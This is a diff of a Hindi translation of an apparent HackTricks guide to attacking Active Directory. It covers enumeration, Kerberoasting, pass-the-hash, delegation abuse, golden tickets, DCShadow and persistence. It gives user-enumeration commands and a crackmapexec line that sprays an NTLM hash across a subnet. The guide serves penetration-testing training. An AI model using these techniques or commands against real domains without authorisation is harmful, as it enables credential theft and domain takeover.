इस चरण के लिए आपको **एक मान्य डोमेन खाते के क्रेडेंशियल्स या सत्र को समझौता करना होगा।** यदि आपके पास कुछ मान्य क्रेडेंशियल्स या एक डोमेन उपयोगकर्ता के रूप में एक शेल है, तो **आपको याद रखना चाहिए कि पहले दिए गए विकल्प अभी भी अन्य उपयोगकर्ताओं को समझौता करने के विकल्प हैं**
@ -151,27 +151,27 @@ kerberos-double-hop-problem.md
### सूची बनाना
एक खाते को समझौता करना **पूरे डोमेन को समझौता करने के लिए एक बड़ा कदम है**, क्योंकि आप **सक्रिय निर्देशिका की सूची बनाने** में सक्षम होंगे:
एक खाते को समझौता करना **पूरे डोमेन को समझौता करने के लिए एक बड़ा कदम है**, क्योंकि आप **सक्रिय निर्देशिका की सूची बनाना शुरू करने में सक्षम होंगे:**
[**ASREPRoast**](asreproast.md) के संबंध में, आप अब हर संभावित कमजोर उपयोगकर्ता को ढूंढ सकते हैं, और [**Password Spraying**](password-spraying.md) के संबंध में, आप **सभी उपयोगकर्ता नामों की एक सूची प्राप्त कर सकते हैं** और समझौता किए गए खाते का पासवर्ड, खाली पासवर्ड और नए आशाजनक पासवर्ड आजमा सकते हैं।
- आप [**CMD का उपयोग करके एक बुनियादी पुनः खोज करने के लिए**](../basic-cmd-for-pentesters.md#domain-info) कर सकते हैं
- आप [**पुनः खोज के लिए powershell का उपयोग कर सकते हैं**](../basic-powershell-for-pentesters/) जो अधिक छिपा हुआ होगा
- आप [**powerview का उपयोग कर सकते हैं**](../basic-powershell-for-pentesters/powerview.md) अधिक विस्तृत जानकारी निकालने के लिए
- सक्रिय निर्देशिका में पुनः खोज के लिए एक और अद्भुत उपकरण [**BloodHound**](bloodhound.md) है। यह **बहुत छिपा हुआ नहीं है** (आपके द्वारा उपयोग किए गए संग्रह विधियों के आधार पर), लेकिन **यदि आपको इसकी परवाह नहीं है**, तो आपको इसे पूरी तरह से आजमाना चाहिए। पता करें कि उपयोगकर्ता कहाँ RDP कर सकते हैं, अन्य समूहों के लिए पथ खोजें, आदि।
- **अन्य स्वचालित AD सूची बनाने के उपकरण हैं:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**।**
- सक्रिय निर्देशिका में पुनः खोज के लिए एक और अद्भुत उपकरण [**BloodHound**](bloodhound.md) है। यह **बहुत छिपा हुआ नहीं है** (आपके द्वारा उपयोग किए गए संग्रह विधियों के आधार पर), लेकिन **यदि आपको इसकी परवाह नहीं है** तो आपको इसे पूरी तरह से आजमाना चाहिए। पता करें कि उपयोगकर्ता RDP कहाँ कर सकते हैं, अन्य समूहों के लिए पथ खोजें, आदि।
- **अन्य स्वचालित AD सूचीकरण उपकरण हैं:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**।**
- [**AD के DNS रिकॉर्ड**](ad-dns-records.md) क्योंकि वे दिलचस्प जानकारी रख सकते हैं।
- आप निर्देशिका की सूची बनाने के लिए **AdExplorer.exe** नामक एक **GUI उपकरण** का उपयोग कर सकते हैं जो **SysInternal** सूट से है।
- आप निर्देशिका की सूची बनाने के लिए **AdExplorer.exe** नामक **GUI** वाला एक उपकरण उपयोग कर सकते हैं जो **SysInternal** सूट से है।
- आप _userPassword_ और _unixUserPassword_ फ़ील्ड में क्रेडेंशियल्स की खोज करने के लिए **ldapsearch** का उपयोग कर सकते हैं, या यहां तक कि _Description_ के लिए भी। cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) अन्य विधियों के लिए।
- यदि आप **Linux** का उपयोग कर रहे हैं, तो आप [**pywerview**](https://github.com/the-useless-one/pywerview) का उपयोग करके डोमेन की सूची भी बना सकते हैं।
- आप स्वचालित उपकरणों के रूप में भी कोशिश कर सकते हैं:
- आप स्वचालित उपकरणों को भी आजमा सकते हैं जैसे:
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
- **सभी डोमेन उपयोगकर्ताओं को निकालना**
Windows से सभी डोमेन उपयोगकर्ता नाम प्राप्त करना बहुत आसान है (`net user /domain`, `Get-DomainUser` या `wmic useraccount get name,sid`)। Linux में, आप उपयोग कर सकते हैं: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` या `enum4linux -a -u "user" -p "password" <DC IP>`
> भले ही यह सूची बनाने का अनुभाग छोटा दिखता है, यह सभी का सबसे महत्वपूर्ण भाग है। लिंक पर पहुँचें (मुख्य रूप से cmd, powershell, powerview और BloodHound वाले), जानें कि डोमेन को कैसे सूचीबद्ध किया जाए और तब तक अभ्यास करें जब तक आप सहज महसूस न करें। एक मूल्यांकन के दौरान, यह DA तक पहुँचने का आपका रास्ता खोजने या यह तय करने का कुंजी क्षण होगा कि कुछ नहीं किया जा सकता।
> भले ही यह सूचीकरण अनुभाग छोटा दिखता है, यह सभी का सबसे महत्वपूर्ण भाग है। लिंक तक पहुँचें (मुख्य रूप से cmd, powershell, powerview और BloodHound वाले), जानें कि डोमेन को कैसे सूचीबद्ध करें और तब तक अभ्यास करें जब तक आप सहज महसूस न करें। एक आकलन के दौरान, यह DA तक पहुँचने का आपका रास्ता खोजने या यह तय करने का कुंजी क्षण होगा कि कुछ नहीं किया जा सकता।
### Kerberoast
@ -185,7 +185,7 @@ kerberoast.md
### दूरस्थ कनेक्शन (RDP, SSH, FTP, Win-RM, आदि)
एक बार जब आपने कुछ क्रेडेंशियल्स प्राप्त कर लिए, तो आप देख सकते हैं कि क्या आपके पास किसी **मशीन** तक पहुँच है। इस मामले के लिए, आप विभिन्न प्रोटोकॉल के साथ कई सर्वरों पर कनेक्ट करने का प्रयास करने के लिए **CrackMapExec** का उपयोग कर सकते हैं, जो आपके पोर्ट स्कैन के अनुसार है
एक बार जब आपने कुछ क्रेडेंशियल्स प्राप्त कर लिए, तो आप देख सकते हैं कि क्या आपके पास किसी **मशीन** तक पहुँच है। इस मामले के लिए, आप विभिन्न प्रोटोकॉल के साथ कई सर्वरों पर कनेक्ट करने का प्रयास करने के लिए **CrackMapExec** का उपयोग कर सकते हैं, आपके पोर्ट स्कैन के अनुसार।
### स्थानीय विशेषाधिकार वृद्धि
@ -242,7 +242,7 @@ printnightmare.md
### पास द हैश
**एक बार जब आपके पास एक उपयोगकर्ता का हैश हो**, तो आप इसका उपयोग **उसका अनुकरण करने** के लिए कर सकते हैं।\
आपको कुछ **उपकरण** का उपयोग करने की आवश्यकता है जो उस **हैश** का उपयोग करके **NTLM प्रमाणीकरण** करेगा, **या** आप एक नया **sessionlogon** बना सकते हैं और **LSASS** के अंदर उस **हैश** को **इंजेक्ट** कर सकते हैं, ताकि जब भी कोई **NTLM प्रमाणीकरण किया जाता है**, वह **हैश का उपयोग किया जाएगा।** अंतिम विकल्प वही है जो mimikatz करता है।\
आपको कुछ **उपकरण** का उपयोग करने की आवश्यकता है जो उस **हैश** का उपयोग करके **NTLM प्रमाणीकरण** करेगा, **या** आप एक नया **sessionlogon** बना सकते हैं और **LSASS** के अंदर उस **हैश** को **इंजेक्ट** कर सकते हैं, ताकि जब भी कोई **NTLM प्रमाणीकरण किया जा**, वह **हैश का उपयोग किया जाएगा।** अंतिम विकल्प वही है जो mimikatz करता है।\
[**अधिक जानकारी के लिए इस पृष्ठ को पढ़ें।**](../ntlm/#pass-the-hash)
### ओवर पास द हैश/पास द की
@ -270,13 +270,13 @@ pass-the-ticket.md
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
> [!WARNING]
> ध्यान दें कि यह काफी **शोरगुल** वाला है और **LAPS** इसे **कम** करेगा।
> ध्यान दें कि यह काफी **शोर** है और **LAPS** इसे **कम करेगा**
### MSSQL दुरुपयोग और विश्वसनीय लिंक
यदि किसी उपयोगकर्ता के पास **MSSQL उदाहरणों** तक पहुँचने के लिए विशेषाधिकार हैं, तो वह इसे **कमांड** को MSSQL होस्ट पर **निष्पादित** करने के लिए उपयोग कर सकता है (यदि SA के रूप में चल रहा हो), NetNTLM **हैश** को **चोरी** कर सकता है या यहां तक कि **रिले** **हमला** कर सकता है।\
इसके अलावा, यदि एक MSSQL उदाहरण को किसी अन्य MSSQL उदाहरण द्वारा विश्वसनीय (डेटाबेस लिंक) माना जाता है। यदि उपयोगकर्ता के पास विश्वसनीय डेटाबेस पर विशेषाधिकार हैं, तो वह **अन्य उदाहरण में क्वेरी निष्पादित करने के लिए विश्वास संबंध का उपयोग कर सकेगा**। ये विश्वास श्रृंखलाबद्ध हो सकते हैं और किसी बिंदु पर उपयोगकर्ता एक गलत कॉन्फ़िगर की गई डेटाबेस खोजने में सक्षम हो सकता है जहाँ वह कमांड निष्पादित कर सकता है।\
**डेटाबेस के बीच के लिंक यहां तक कि वन के विश्वासों के पार भी काम करते हैं।**
यदि किसी उपयोगकर्ता के पास **MSSQL उदाहरणों** तक पहुँचने के लिए विशेषाधिकार हैं, तो वह इसे **कमांड** को MSSQL होस्ट (यदि SA के रूप में चल रहा है) में **निष्पादित** करने, NetNTLM **हैश** को **चुराने** या यहां तक कि **रिले** **हमला** करने के लिए उपयोग कर सकता है।\
इसके अलावा, यदि एक MSSQL उदाहरण को एक अलग MSSQL उदाहरण द्वारा विश्वसनीय (डेटाबेस लिंक) माना जाता है। यदि उपयोगकर्ता के पास विश्वसनीय डेटाबेस पर विशेषाधिकार हैं, तो वह **अन्य उदाहरण में क्वेरी निष्पादित करने के लिए विश्वास संबंध का उपयोग करने में सक्षम होगा**। ये विश्वास श्रृंखलाबद्ध हो सकते हैं और किसी बिंदु पर उपयोगकर्ता एक गलत कॉन्फ़िगर की गई डेटाबेस खोजने में सक्षम हो सकता है जहाँ वह कमांड निष्पादित कर सकता है।\
**डेटाबेस के बीच के लिंक यहां तक कि वन वन ट्रस्ट के पार भी काम करते हैं।**
{{#ref}}
abusing-ad-mssql.md
@ -284,9 +284,9 @@ abusing-ad-mssql.md
### अनियंत्रित प्रतिनिधित्व
यदि आप किसी कंप्यूटर ऑब्जेक्ट को [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) विशेषता के साथ पाते हैं और आपके पास कंप्यूटर में डोमेन विशेषाधिकार हैं, तो आप कंप्यूटर पर लॉगिन करने वाले हर उपयोगकर्ता की मेमोरी से TGT को डंप कर सकेंगे।\
तो, यदि कोई **डोमेन एडमिन कंप्यूटर पर लॉगिन करता है**, तो आप उसके TGT को डंप कर सकेंगे और [Pass the Ticket](pass-the-ticket.md) का उपयोग करके उसकी नकल कर सकेंगे।\
संकीर्ण प्रतिनिधित्व के कारण आप यहां तक कि **एक प्रिंट सर्वर को स्वचालित रूप से समझौता** कर सकते हैं (उम्मीद है कि यह एक DC होगा)।
यदि आप किसी कंप्यूटर ऑब्जेक्ट को [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) विशेषता के साथ पाते हैं और आपके पास कंप्यूटर में डोमेन विशेषाधिकार हैं, तो आप कंप्यूटर पर लॉगिन करने वाले हर उपयोगकर्ता की मेमोरी से TGT को डंप करने में सक्षम होंगे।\
तो, यदि **डोमेन एडमिन कंप्यूटर पर लॉगिन करता है**, तो आप उसके TGT को डंप कर सक हैं और [Pass the Ticket](pass-the-ticket.md) का उपयोग करके उसकी नकल कर सक हैं।\
संकीर्ण प्रतिनिधित्व के लिए धन्यवाद, आप यहां तक कि **एक प्रिंट सर्वर को स्वचालित रूप से समझौता कर सकते हैं** (उम्मीद है कि यह एक DC होगा)।
{{#ref}}
unconstrained-delegation.md
@ -311,7 +311,7 @@ resource-based-constrained-delegation.md
### ACLs दुरुपयोग
समझौता किया गया उपयोगकर्ता कुछ **दिलचस्प विशेषाधिकार** रख सकता है जो आपको **पार्श्व में स्थानांतरित** करने/विशेषाधिकार बढ़ाने की अनुमति दे सकते हैं।
समझौता किए गए उपयोगकर्ता के पास कुछ **डोमेन ऑब्जेक्ट्स पर कुछ दिलचस्प विशेषाधिकार** हो सकते हैं जो आपको **पार्श्व में स्थानांतरित** करने/विशेषाधिकार बढ़ाने की अनुमति दे सकते हैं।
{{#ref}}
acl-persistence-abuse/
@ -319,7 +319,7 @@ acl-persistence-abuse/
### प्रिंटर स्पूलर सेवा का दुरुपयोग
डोमेन के भीतर एक **स्पूल सेवा सुनने** की खोज की जा सकती है जिसे **नई क्रेडेंशियल्स प्राप्त करने** और **विशेषाधिकार बढ़ाने** के लिए **दुरुपयोग** किया जा सकता है।
डोमेन के भीतर एक **स्पूल सेवा सुनने** की खोज की जा सकती है, जिसे **नए क्रेडेंशियल्स प्राप्त करने** और **विशेषाधिकार बढ़ाने** के लिए **दुरुपयोग** किया जा सकता है।
{{#ref}}
printers-spooler-service-abuse.md
@ -327,7 +327,7 @@ printers-spooler-service-abuse.md
### तीसरे पक्ष के सत्रों का दुरुपयोग
यदि **अन्य उपयोगकर्ता** **समझौता** की गई मशीन तक पहुँचते हैं, तो यह **मेमोरी से क्रेडेंशियल्स इकट्ठा करने** और यहां तक कि **उनकी प्रक्रियाओं में बीकन इंजेक्ट करने** के लिए संभव है ताकि उनकी नकल की जा सके।\
यदि **अन्य उपयोगकर्ता** **समझौता किए गए** मशीन तक पहुँचते हैं, तो यह **मेमोरी से क्रेडेंशियल्स इकट्ठा करने** और यहां तक कि **उनकी प्रक्रियाओं में बीकन इंजेक्ट करने** के लिए संभव है ताकि उनकी नकल की जा सके।\
आमतौर पर उपयोगकर्ता RDP के माध्यम से सिस्टम तक पहुँचते हैं, इसलिए यहां आपके पास तीसरे पक्ष के RDP सत्रों पर कुछ हमले करने का तरीका है:
{{#ref}}
@ -336,7 +336,7 @@ rdp-sessions-abuse.md
### LAPS
**LAPS** डोमेन-जोड़े गए कंप्यूटरों पर **स्थानीय व्यवस्थापक पासवर्ड** प्रबंधित करने के लिए एक प्रणाली प्रदान करता है, यह सुनिश्चित करते हुए कि यह **यादृच्छिक**, अद्वितीय, और अक्सर **बदला** जाता है। ये पासवर्ड Active Directory में संग्रहीत होते हैं और ACLs के माध्यम से केवल अधिकृत उपयोगकर्ताओं के लिए पहुँच नियंत्रित की जाती है। इन पासवर्डों तक पहुँचने के लिए पर्याप्त अनुमतियों के साथ, अन्य कंप्यूटरों पर पिवटिंग करना संभव हो जाता है।
**LAPS** डोमेन-जोड़े गए कंप्यूटरों पर **स्थानीय व्यवस्थापक पासवर्ड** प्रबंधित करने के लिए एक प्रणाली प्रदान करता है, यह सुनिश्चित करते हुए कि यह **यादृच्छिक**, अद्वितीय और अक्सर **बदला** जाता है। ये पासवर्ड Active Directory में संग्रहीत होते हैं और ACLs के माध्यम से केवल अधिकृत उपयोगकर्ताओं के लिए पहुँच नियंत्रित की जाती है। इन पासवर्डों तक पहुँचने के लिए पर्याप्त अनुमतियों के साथ, अन्य कंप्यूटरों पर पिवटिंग करना संभव हो जाता है।
{{#ref}}
laps.md
@ -344,7 +344,7 @@ laps.md
### प्रमाणपत्र चोरी
**समझौता की गई मशीन से प्रमाणपत्र इकट्ठा करना** वातावरण के भीतर विशेषाधिकार बढ़ाने का एक तरीका हो सकता है:
**समझौता किए गए मशीन से प्रमाणपत्र इकट्ठा करना** वातावरण के भीतर विशेषाधिकार बढ़ाने का एक तरीका हो सकता है:
{{#ref}}
ad-certificates/certificate-theft.md
@ -371,7 +371,7 @@ ad-certificates/domain-escalation.md
### प्रिवेस्क के रूप में स्थिरता
पहले चर्चा की गई कुछ तकनीकों का उपयोग स्थिरता के लिए किया जा सकता है।\
उदाहरण के लिए आप कर सकते हैं:
उदाहरण के लिए, आप कर सकते हैं:
- उपयोगकर्ताओं को [**Kerberoast**](kerberoast.md) के लिए कमजोर बनाना
@ -401,7 +401,7 @@ silver-ticket.md
### गोल्डन टिकट
**गोल्डन टिकट हमला** में एक हमलावर **Active Directory (AD)** वातावरण में **krbtgt खाते** के **NTLM हैश** तक पहुँच प्राप्त करता है। यह खाता विशेष है क्योंकि इसका उपयोग सभी **टिकट ग्रांटिंग टिकट (TGTs)** पर हस्ताक्षर करने के लिए किया जाता है, जो AD नेटवर्क के भीतर प्रमाणीकरण के लिए आवश्यक हैं।
**गोल्डन टिकट हमला** में एक हमलावर **Active Directory (AD)** वातावरण में **krbtgt खाते** के NTLM हैश तक पहुँच प्राप्त करता है। यह खाता विशेष है क्योंकि इसका उपयोग सभी **टिकट ग्रांटिंग टिकट (TGTs)** पर हस्ताक्षर करने के लिए किया जाता है, जो AD नेटवर्क के भीतर प्रमाणीकरण के लिए आवश्यक हैं।
एक बार जब हमलावर इस हैश को प्राप्त कर लेता है, तो वह किसी भी खाते के लिए **TGTs** बना सकता है जिसे वह चुनता है (सिल्वर टिकट हमला)।
@ -411,7 +411,7 @@ golden-ticket.md
### डायमंड टिकट
ये गोल्डन टिकट की तरह होते हैं जिन्हें इस तरह से **सामान्य गोल्डन टिकट पहचान तंत्रों को बायपास** करने के लिए तैयार किया गया है
ये गोल्डन टिकट की तरह होते हैं ज **सामान्य गोल्डन टिकट पहचान तंत्रों को बायपास** करने के तरीके से बनाए जाते हैं
{{#ref}}
diamond-ticket.md
@ -435,9 +435,9 @@ ad-certificates/domain-persistence.md
### AdminSDHolder समूह
Active Directory में **AdminSDHolder** ऑब्जेक्ट **विशेषाधिकार प्राप्त समूहों** (जैसे डोमेन एडमिन और एंटरप्राइज एडमिन) की सुरक्षा सुनिश्चित करता है, इन समूहों पर एक मानक **एक्सेस कंट्रोल लिस्ट (ACL)** लागू करके अनधिकृत परिवर्तनों को रोकता है। हालाँकि, इस सुविधा का दुरुपयोग किया जा सकता है; यदि एक हमलावर AdminSDHolder के ACL को एक सामान्य उपयोगकर्ता को पूर्ण पहुँच देने के लिए संशोधित करता है, तो उस उपयोगकर्ता को सभी विशेषाधिकार प्राप्त समूहों पर व्यापक नियंत्रण मिल जाता है। यह सुरक्षा उपाय, जिसे सुरक्षा के लिए बनाया गया था, इस प्रकार उलटा पड़ सकता है, अनधिकृत पहुँच की अनुमति देता है जब तक कि इसे निकटता से मॉनिटर नहीं किया जाता।
Active Directory में **AdminSDHolder** ऑब्जेक्ट **विशेषाधिकार प्राप्त समूहों** (जैसे डोमेन एडमिन और एंटरप्राइज एडमिन) की सुरक्षा सुनिश्चित करता है, इन समूहों पर एक मानक **एक्सेस कंट्रोल लिस्ट (ACL)** लागू करके अनधिकृत परिवर्तनों को रोकता है। हालाँकि, इस सुविधा का दुरुपयोग किया जा सकता है; यदि एक हमलावर AdminSDHolder के ACL को एक नियमित उपयोगकर्ता को पूर्ण पहुँच देने के लिए संशोधित करता है, तो उस उपयोगकर्ता को सभी विशेषाधिकार प्राप्त समूहों पर व्यापक नियंत्रण मिल जाता है। यह सुरक्षा उपाय, जिसे सुरक्षा के लिए डिज़ाइन किया गया था, इस प्रकार उलटा पड़ सकता है, जिससे अनधिकृत पहुँच की अनुमति मिलती है जब तक कि इसे निकटता से मॉनिटर नहीं किया जाता।
[**AdminDSHolder समूह के बारे में अधिक जानकारी यहां है।**](privileged-groups-and-token-privileges.md#adminsdholder-group)
[**AdminDSHolder समूह के बारे में अधिक जानकारी यहां।**](privileged-groups-and-token-privileges.md#adminsdholder-group)
### DSRM क्रेडेंशियल्स
@ -449,7 +449,7 @@ dsrm-credentials.md
### ACL स्थिरता
आप कुछ विशिष्ट डोमेन ऑब्जेक्ट्स पर एक **उपयोगकर्ता** को कुछ **विशेष अनुमतियाँ** दे सकते हैं जो उपयोगकर्ता को **भविष्य में विशेषाधिकार बढ़ाने** की अनुमति देंगी
आप कुछ विशिष्ट डोमेन ऑब्जेक्ट्स पर एक **उपयोगकर्ता** को कुछ **विशेष अनुमति** दे सकते हैं जो उपयोगकर्ता को **भविष्य में विशेषाधिकार बढ़ाने** की अनुमति देगा
{{#ref}}
acl-persistence-abuse/
@ -457,7 +457,7 @@ acl-persistence-abuse/
### सुरक्षा वर्णनकर्ता
**सुरक्षा वर्णनकर्ता** का उपयोग **अनुमतियों** को **स्टोर** करने के लिए किया जाता है जो एक **ऑब्जेक्ट** के पास **एक ऑब्जेक्ट** पर होती हैं। यदि आप केवल **सुरक्षा वर्णनकर्ता** के एक ऑब्जेक्ट में **थोड़ा सा परिवर्तन** कर सकते हैं, तो आप उस ऑब्जेक्ट पर बहुत दिलचस्प विशेषाधिकार प्राप्त कर सकते हैं बिना किसी विशेषाधिकार प्राप्त समूह का सदस्य बने।
**सुरक्षा वर्णनकर्ता** का उपयोग **अनुमतियों** को **स्टोर** करने के लिए किया जाता है जो एक **ऑब्जेक्ट** के पास **एक ऑब्जेक्ट** पर होती हैं। यदि आप केवल **सुरक्षा वर्णनकर्ता** के एक ऑब्जेक्ट में **थोड़ा परिवर्तन** कर सकते हैं, तो आप उस ऑब्जेक्ट पर बहुत दिलचस्प विशेषाधिकार प्राप्त कर सकते हैं बिना किसी विशेषाधिकार प्राप्त समूह का सदस्य बने।
{{#ref}}
security-descriptors.md
@ -482,7 +482,7 @@ custom-ssp.md
### DCShadow
यह AD में एक **नया डोमेन कंट्रोलर** पंजीकृत करता है और निर्दिष्ट वस्तुओं पर **विशेषताएँ** (SIDHistory, SPNs...) को **धकेलने** के लिए इसका उपयोग करता है **बिना** किसी **लॉग** को छोड़कर जो **संशोधनों** के बारे में हो। आपको **DA** विशेषाधिकार की आवश्यकता है और **रूट डोमेन** के अंदर होना चाहिए।\
यह AD में एक **नया डोमेन कंट्रोलर** पंजीकृत करता है और निर्दिष्ट वस्तुओं पर **विशेषताएँ** (SIDHistory, SPNs...) को **धकेलने** के लिए इसका उपयोग करता है **बिना** किसी **लॉग** को छोड़ने के जो **संशोधनों** के बारे में हो। आपको **DA** विशेषाधिकार की आवश्यकता है और **रूट डोमेन** के अंदर होना चाहिए।\
ध्यान दें कि यदि आप गलत डेटा का उपयोग करते हैं, तो बहुत भद्दे लॉग दिखाई देंगे।
{{#ref}}
@ -491,14 +491,14 @@ dcshadow.md
### LAPS स्थिरता
पहले हमने चर्चा की है कि यदि आपके पास **LAPS पासवर्ड पढ़ने के लिए पर्याप्त अनुमति है** तो आप विशेषाधिकार कैसे बढ़ा सकते हैं। हालाँकि, इन पासवर्डों का उपयोग **स्थिरता बनाए रखने** के लिए भी किया जा सकता है।\
पहले हमने चर्चा की है कि यदि आपके पास **LAPS पासवर्ड पढ़ने के लिए पर्याप्त अनुमति है** तो विशेषाधिकार बढ़ाने के लिए कैसे। हालाँकि, इन पासवर्डों का उपयोग **स्थिरता बनाए रखने** के लिए भी किया जा सकता है।\
जांचें:
{{#ref}}
laps.md
{{#endref}}
## वन विशेषाधिकार वृद्धि - डोमेन ट्रस्ट
## वन वन विशेषाधिकार बढ़ाना - डोमेन ट्रस्ट
Microsoft **वन** को सुरक्षा सीमा के रूप में देखता है। इसका अर्थ है कि **एकल डोमेन का समझौता करना संभावित रूप से पूरे वन के समझौता होने की संभावना है**
@ -506,52 +506,52 @@ Microsoft **वन** को सुरक्षा सीमा के रूप
एक [**डोमेन ट्रस्ट**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) एक सुरक्षा तंत्र है जो एक **डोमेन** के उपयोगकर्ता को दूसरे **डोमेन** में संसाधनों तक पहुँचने की अनुमति देता है। यह मूल रूप से दोनों डोमेन के प्रमाणीकरण प्रणालियों के बीच एक लिंक बनाता है, जिससे प्रमाणीकरण सत्यापन निर्बाध रूप से प्रवाहित हो सके। जब डोमेन एक ट्रस्ट स्थापित करते हैं, तो वे अपने **डोमेन कंट्रोलर (DCs)** के भीतर विशिष्ट **कुंजी** का आदान-प्रदान और रखरखाव करते हैं, जो ट्रस्ट की अखंडता के लिए महत्वपूर्ण हैं।
एक सामान्य परिदृश्य में, यदि कोई उपयोगकर्ता एक **विश्वसनीय डोमेन** में सेवा तक पहुँचने का इरादा रखता है, तो उसे पहले अपने डोमेन के DC से एक विशेष टिकट जिसे **इंटर-रीलम TGT** कहा जाता है, का अनुरोध करना होगा। यह TGT एक साझा **कुंजी** के साथ एन्क्रिप्ट किया गया है जिस पर दोनों डोमेन सहमत हुए हैं। उपयोगकर्ता फिर इस TGT को **विश्वसनीय डोमेन के DC** को सेवा टिकट (**TGS**) प्राप्त करने के लिए प्रस्तुत करता है। जब विश्वसनीय डोमेन के DC द्वारा इंटर-रीलम TGT की सफल सत्यापन होती है, तो यह एक TGS जारी करता है, जो उपयोगकर्ता को सेवा तक पहुँच प्रदान करता है।
एक सामान्य परिदृश्य में, यदि क उपयोगकर्ता एक **विश्वसनीय डोमेन** में सेवा तक पहुँचने का इरादा रखता है, तो उसे पहले अपने डोमेन के DC से **इंटर-रीलम TGT** के रूप में जाना जाने वाला एक विशेष टिकट अनुरोध करना होगा। यह TGT एक साझा **कुंजी** के साथ एन्क्रिप्ट किया गया है जिस पर दोनों डोमेन सहमत हुए हैं। उपयोगकर्ता फिर इस TGT को **विश्वसनीय डोमेन के DC** को सेवा टिकट (**TGS**) प्राप्त करने के लिए प्रस्तुत करता है। जब विश्वसनीय डोमेन के DC द्वारा इंटर-रीलम TGT की सफल सत्यापन होती है, तो यह एक TGS जारी करता है, जो उपयोगकर्ता को सेवा तक पहुँच प्रदान करता है।
**चरण**:
1. **डोमेन 1** में एक **क्लाइंट कंप्यूटर** प्रक्रिया शुरू करता है, जो अपने **NTLM हैश** का उपयोग करके अपने **डोमेन कंट्रोलर (DC1)** से **टिकट ग्रांटिंग टिकट (TGT)** का अनुरोध करता है।
2. यदि क्लाइंट सफलतापूर्वक प्रमाणित होता है, तो DC1 एक नया TGT जारी करता है।
3. क्लाइंट फिर **डोमेन 2** में संसाधनों तक पहुँचने के लिए DC1 से एक **इंटर-रीलम TGT** का अनुरोध करता है।
4. इंटर-रीलम TGT को DC1 और DC2 के बीच साझा किए गए **विश्वास कुंजी** के साथ एन्क्रिप्ट किया गया है जो दो-तरफा डोमेन ट्रस्ट का हिस्सा है।
4. इंटर-रीलम TGT को **DC1** और **DC2** के बीच साझा ट्रस्ट कुंजी के साथ एन्क्रिप्ट किया गया है, जो दो-तरफा डोमेन ट्रस्ट का हिस्सा है।
5. क्लाइंट इंटर-रीलम TGT को **डोमेन 2 के डोमेन कंट्रोलर (DC2)** पर ले जाता है।
6. DC2 अपने साझा विश्वास कुंजी का उपयोग करके इंटर-रीलम TGT की सत्यापन करता है और यदि मान्य है, तो वह उस सर्वर के लिए एक **टिकट ग्रांटिंग सेवा (TGS)** जारी करता है जिसे क्लाइंट पहुँच प्राप्त करना चाहता है।
7. अंततः, क्लाइंट इस TGS को सर्वर को प्रस्तुत करता है, जो सर्वर के खाते के हैश के साथ एन्क्रिप्ट किया गया है, ताकि डोमेन 2 में सेवा तक पहुँच प्राप्त क सके।
6. DC2 अपनी साझा ट्रस्ट कुंजी का उपयोग करके इंटर-रीलम TGT की सत्यापन करता है और यदि मान्य है, तो वह उस सर्वर के लिए **टिकट ग्रांटिंग सेवा (TGS)** जारी करता है जिसे क्लाइंट पहुँच प्राप्त करना चाहता है।
7. अंततः, क्लाइंट इस TGS को सर्वर को प्रस्तुत करता है, जो सर्वर के खाते के हैश के साथ एन्क्रिप्ट किया गया है, ताकि डोमेन 2 में सेवा तक पहुँच प्राप्त की जा सके।
### विभिन्न ट्रस्ट
यह ध्यान रखना महत्वपूर्ण है कि **एक ट्रस्ट 1-तरफा या 2-तरफा** हो सकता है। 2-तरफा विकल्प में, दोनों डोमेन एक-दूसरे पर विश्वास करेंगे, लेकिन **1-तरफा** ट्रस्ट संबंध में एक डोमेन **विश्वसनीय** होगा और दूसरा **विश्वास करने वाला** डोमेन होगा। अंतिम मामले में, **आप केवल विश्वसनीय डोमेन से विश्वास करने वाले डोमेन के अंदर संसाधनों तक पहुँच प्राप्त कर सकेंगे**
यह ध्यान रखना महत्वपूर्ण है कि **एक ट्रस्ट 1 दिशा या 2 दिशाओं में हो सकता है**। 2 दिशाओं के विकल्प में, दोनों डोमेन एक-दूसरे पर विश्वास करेंगे, लेकिन **1 दिशा** के ट्रस्ट संबंध में एक डोमेन **विश्वसनीय** होगा और दूसरा **विश्वास करने वाला** डोमेन होगा। अंतिम मामले में, **आप केवल विश्वसनीय डोमेन से विश्वास करने वाले डोमेन के अंदर संसाधनों तक पहुँच प्राप्त कर सकेंगे**
यदि डोमेन A, डोमेन B पर विश्वास करता है, तो A विश्वास करने वाला डोमेन है और B विश्वसनीय है। इसके अलावा, **डोमेन A** में, यह एक **आउटबाउंड ट्रस्ट** होगा; और **डोमेन B** में, यह एक **इनबाउंड ट्रस्ट** होगा।
**विभिन्न विश्वास संबंध**
- **माता-पिता-शिशु ट्रस्ट**: यह एक सामान्य सेटअप है जो एक ही वन के भीतर होता है, जहाँ एक शिशु डोमेन अपने माता-पिता डोमेन के साथ स्वचालित रूप से एक दो-तरफा पारगम्य ट्रस्ट रखता है। मूल रूप से, इसका अर्थ है कि प्रमाणीकरण अनुरोध माता-पिता और शिशु के बीच निर्बाध रूप से प्रवाहित हो सकते हैं।
